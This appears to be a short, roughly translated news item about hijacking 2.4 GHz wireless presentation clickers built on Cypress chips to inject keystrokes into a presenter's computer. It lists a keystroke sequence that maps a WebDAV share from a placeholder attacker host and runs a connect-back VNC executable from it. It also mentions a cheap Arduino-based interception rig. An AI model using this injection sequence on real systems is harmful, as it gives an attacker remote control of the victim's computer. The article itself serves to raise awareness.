Hacking a computer via radio for presentation

If you have to make presentations in front of a large audience - be careful! Hackers have found a way to remotely hack radio presenters, so now any attacker can take control of the console right during your performance. Worse, you can send keystrokes through the console, which will be performed on the presentation computer.

1. [Win + R]
2. net use X: http: // attacker / webdavshare
3. X: \ VNCconnectback.exe
4. [enter]

The technology has already been successfully tested on Logitech R-R0001 and Logitech R400 consoles (in the photo), but other consoles are also vulnerable, using standard Cypress Semiconductors chips.

Over the past couple of years, a large amount of literature on the safety of radio devices has been published. It is known that the 27-hertz radio keyboard can be listened to using a simple instrument assembled at home. Keyboards 2.4 GHz hacked only at the end of last year . And now it’s the turn of the 2.4 GHz presentation control device, which, by its principle of operation, is no different from keyboards. Virtually all such devices use the same 2.4 GHz CYRF6936 or CYRF69103 chip from Cypress Semiconductors, working through a proprietary wireless protocol.
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The device for intercepting the signal can be constructed from the Arduino designer and the wireless module worth 30 euros.